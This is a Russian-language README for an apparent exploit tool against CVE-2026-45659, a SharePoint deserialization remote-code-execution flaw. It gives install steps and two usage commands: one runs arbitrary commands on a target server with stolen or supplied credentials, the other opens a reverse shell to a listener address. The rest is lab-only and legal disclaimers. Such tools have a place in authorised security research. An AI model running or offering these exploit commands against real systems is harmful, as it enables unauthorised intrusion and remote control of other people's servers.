CVE-2026-45659

Десериализация недоверенных данных в Microsoft Office SharePoint позволяет авторизованному атакующему выполнить код по сети.

⚡ Простое использование

Используйте этот проект только в безопасных и авторизованных средах, таких как:

• Локальные виртуальные машины
• Docker-контейнеры
• Изолированные лабораторные стенды
• Авторизованные среды тестирования на проникновение

Пример настройки:

git clone <repository-url>
cd <repository-name>

Пример использования:

# Install dependencies
pip install -r requirements.txt

# Basic command execution
python cve-2026-45659.py -t http://sp.lab.local -u lab\\testuser -p Password123 -l "Documents" -c "whoami /all"

# Reverse shell
python cve-2026-45659.py -t http://sp.lab.local -u lab\\testuser -p Password123 -l "Documents" --reverse --ip 192.168.1.100 --port 4444

Авторство и ссылки

• https://nvd.nist.gov/vuln/detail/CVE-2026-45659
• CVE-2026-45659-SharePoint-RCE-amnsecurity: https://github.com/amnsecurity/CVE-2026-45659-SharePoint-RCE

📚 Образовательный репозиторий для исследований в области безопасности

Репозиторий для изучения, тестирования и исследования концепций кибербезопасности в контролируемых средах.

⚠️ Отказ от ответственности в области безопасности и юридические предупреждения

Назначение

Этот репозиторий предназначен исключительно для образовательных и авторизованных исследований в области безопасности.

Он создан, чтобы помочь пользователям узнать о:

• Уязвимостях безопасности
• Концепциях песочниц и изоляции
• Безопасном кодировании и защитных практиках

Только авторизованное использование

Используйте этот репозиторий только в средах, где у вас есть разрешение, например:

• Личные лабораторные или виртуальные машины
• Docker-среды или изолированные среды
• Авторизованное тестирование на проникновение
• Обучение кибербезопасности или академические исследования

Несанкционированное или незаконное использование строго запрещено.

Отсутствие ответственности

Автор и участники не несут ответственности за любой ущерб, неправомерное использование, юридические проблемы или убытки, вызванные этим проектом.

Используя этот репозиторий, вы соглашаетесь с тем, что:

• Вы несете ответственность за свои действия
• Вы будете использовать его законно и этично
• Проект предоставляется без каких-либо гарантий

Этическое использование

Этот проект предназначен для:

• Оборонительных исследований в области безопасности
• Образования в области кибербезопасности
• Повышения осведомленности об уязвимостях
• Исследований безопасных систем и программного обеспечения

Пожалуйста, соблюдайте практики ответственного разглашения и соблюдайте все применимые законы.

Контакты

Для ответственного разглашения или сотрудничества свяжитесь с сопровождающим репозитория через GitHub.